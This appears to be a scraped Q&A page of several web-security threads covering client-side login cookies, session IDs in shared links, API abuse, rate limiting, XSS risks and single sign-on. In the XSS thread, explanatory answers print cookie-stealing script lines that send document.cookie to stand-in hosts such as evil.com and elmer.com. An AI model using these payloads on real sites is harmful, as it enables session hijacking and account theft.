Previously I had posted a program and asked about handling cookies in Javascript.
I had posted one code and u can find it in my other question.
Many gave good answers and I aslo tried their solutions. But since I am new to this html and javascript may be I dont know how to find bugs and debug it.
So can anybody please post their solution for this problem.
I want a webpage to be created in which it should check a cookie upon loading. If the cookie is 20 mins older it has to go to login page(ask for usename and password). Otherwise no login is required and it should directly come to one page(it is being designed).
So if anybody is already having a similar or exact code(in which time cookie is maintained) kindly post it.
Regards
Chaithra
It sounds like you're trying to implement a login system using javascript. If this is the case, STOP. All forms of authentication should take place on the server side, and you can use sessions to determine how long it has been since activity from that account. "Cracking" client-side (eg: javascript) security measures is laughably easy.
Short answer - This is a pretty good tutorial...click here...
Better answer - If you're going to create a login system you need to understand cookies, sessions, forms, and security (injection!!!) before you start on anything that is implemented for serious use. You should know to avoid client-side scripting for things like login before you even start. I'd recommend you keep looking at tutorials. You might want to look at things like the difference between different languages and when best to use which.
As nickf said, session timeout is best handled by the server side. The presence of a cookie is used to locate the session, not to implement the timeout. Session cookies are usually what's used to track session state - not the ones that expire. They last as long as the browser is open.
The server side, when processing a request, uses the cookie's value (usually a long random, hard to guess string) to locate the user's session. If the session isn't present, it can respond with a redirect to the login page.
EDIT: In the comments you said you're using goAhead - I'm having difficulty accessing their wiki but assuming it's close to Microsoft's ASP, see this link from webmaster-talk's asp-forum for an example of how to process a login. The part to note on the login page is:
session("UserID") = rs.Fields("usrName")
and the part that checks on each page load the sessions is still good is:
if (session("UserID") = "") then
response.redirect("default.asp")
This is like I outlined in the notes below, driving the timeout detection from the server side and letting the framework (goAhead in your case) do all the cookie magic and timeout on inactivity.
Related
Okay, this may sound like a stupid question, but this actually is a real life situation I gotta sort out.
The company I work for is using a rather outdated online shop software (PHP) which is hosted on the companys server. Unfortunately, the source code is encrypted and the CMS does not allow me to add some PHP code either, so I guess I'm stuck with JavaScript on this one.
Let's say we have a huge sale start coming up and people start sharing links via YouTube, Twitter, and so on. Due to the software being made somewhere in the last century, some links still contain session IDs which will definitely be shared by some users. This, however, will result in multiple users placing orders on the same customer account or even worse, overwriting existing customer accounts with new customer data.
I know that this situation is far from ideal and that the software definitely needs and update, but this is not an option at the moment. I also know that I'm not getting a 100% solution, so I'm just gonna try to prevent people from accidentally wrecking some customer data.
That being sad, I though about checking the URL for a Session ID and checking the value in document.referrer aswell. If the URL contains a Session ID and the referrer is some other server than ours, I'll just do a quick redirect to the main landing page. Again: This is meant to prevent the average user from accidentally logging into someone elses account due to clicking on a bad link, I'm not trying to prevent proper session hijacking here.
Any ideas on this one? Are there any situations where the referrer might not contain actual values, e. g. the browser not sending referrers at all? Any other ways to sort this out using JavaScript only?
I have a web site with following functionality: An user comes to www.mysite.com/page.php. Javascript on that page makes ajax API call to www.mysite.com/api.php and shows results on the same page www.mysite.com/page.php
I'm afraid of situation where somebody starts to use my api.php on own software, because using www.mysite.com/api.php costs me a bit money. Therefore I want that only users that have visited the page www.mysite.com/page.php can get valid results from www.mysite.com/api.php . There won't be any way for users to log in to my web site.
What would be the right way to do this? I guess I could start a session when an user comes to page.php and then somehow maybe first check on api.php that a session with valid session id exists?
If you just want the user to visit page.php before using api.php, the session is the way to go.
Typically, if you want a "soft" protection you use the POST verb to get results from your site. Then, if the user goes the the URL in their browser and just types the api.php call they will not get a result. This doesn't protect your site but it keeps search engines away from that url reasonably well and accidental browsing to it.
Otherwise, there are lots of authentication plugins for php.
http://www.homeandlearn.co.uk/php/php14p1.html for example.
You can check the request in several ways such as Token validation, Session validation or even by Server 'HTTP_REFERER' variable
Check the referrer with $_SERVER['HTTP_REFERER'] if its outside the domain block it.
Beware that people can alter their REFERER so its not secure.
Another better solution might be a CAPTCHA like this one from google https://www.google.com/recaptcha/intro/index.html
Cookies, HTTP-Referer, additional POST-Data or some form data, that you send in an hidden input field aren't secure enough to be sure, that the user comes from your site.
Everything of it can be easily changed by user, by modifying the http-headerdata (or if you use cookies, by changing the cookie-file on the client machine).
I would prefer the PHP-Session combined with an good protection against bots (ex. a Honeypot), because it's not so easy to hi-jack, if you use them properly.
Please note: If there is a bot especially for your site, you lost anyway. So there isn't a 100% protection.
I have a following system on my PHP site like twitter. To follow another a user, the user will click a follow button on the profile of a user they want to follow.
I then send an ajax post request with the ID of the user they want to follow.
I'm trying to work out how to prevent a user spam following everyone by writing this in the browser console:
for(var i = 0; i<10000000; i++){
followUser(i) // followUser is the ajax request
}
My proposed solution is:
Add a single use token to each request and check against the token stored in the session, like CSRF/double-submit protection.
Is there any problems with that solution? I looked at using anonymous JavaScript functions but it seems more secure to prevent these things on the server side not the client.
Is there any problems with that solution?
If you store the token in the per-document DOM/JS context, then you potentially break navigation and multi-tab usage of your application. (eg imagine Following someone then clicking Back and Following someone on the previous page. The old page's token is now invalid and the operation fails.) This is the reason single-use CSRF tokens are generally a bad thing.
it seems more secure to prevent these things on the server side not the client.
Indeed, but a single-use token doesn't really prevent a user making mass requests, it just means they have to grab a new token each time.
It sounds like what you would really need is some kind of server-side rate-limiting solution. That could be implemented at the server level (mod_evasive et al) and/or in the application (necessary if you want targeted limiting of particular functions identified as sensitive).
What's your threat model? Having one account follow everyone doesn't immediately seem like a attack; what's the negative impact and why would an attacker want to do it? If it's something like “to cause a nuisance by sending follow notifications to everyone” maybe a better answer would lie in providing better tools to manage/ignore notifications, for example.
I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.
Cross Site Scripting is a really big issue with javascript injection
It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.
I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.
There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)
Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.
I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.
If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.
Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!
Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.
Okay, this just feels plain nasty, but I've been directed to do it, and just wanted to run it past some people who actually have a clue, so they can point out all the massive holes in it.....so here goes.....
We've got this legacy site & a new public beta-test one. Apparently it's super cereal that moving from one to the other is seamless, so in a manner of speaking, we need a single signon solution.
As we're not allowed to put any serious development into the legacy site (It's also in old school ASP, a language I don't care to learn.) I can't do a proper single sign-on solution, so I proposed the following: On login, the legacy site performs an AJAX post to the login controller of the new beta site, logging the user in there, it then simply proceeds with the login on the legacy site as normal. This may not be acceptable as there's code to prevent a user from being logged on twice, I'm not sure if it's been written to apply across sites.
The other idea I had was to pass a salted hash of the user's details across with their username when they try to access the 2nd site. If the hash matches the details of the user, then access is granted. This would need ASP development obviously as generating the hash on the client side would only serve to enhance the idiocy even further.
Does anyone have any thoughts?
The old ASP site must have some concept of a session if it requires a logon. You will, at a minimum, need to understand how to provide the session information to the legacy site and splice some code in to keep it copacetic if both sites need to be kept up indefinitely.
"Classic" ASP isn't so bad if you can read/write VB6, VBA, VBScript or VB.net. It probably won't be difficult to graft session initialization provided the code is half way decent.
Consider creating a common logon page for both sites + either an automatic redirect based on either the requested URL (I'm guessing the old and new sites have distinct URLs) or cookies passed with the request (the old site, if it used cookies, could identify a legacy user). This common logon page could initialize session on both the legacy site (only if required by user type) and on the new site. This will allow you to keep your new logon process unencumbered by the legacy process while maintaining the old as long as required.
Bear in mind that your first approach (AJAX request from one site to the other) won't work if the sites are on different domains, because of javascript security restrictions.
You might be able to work around this by using a hidden iframe for the post like this, but it's getting a little hacky.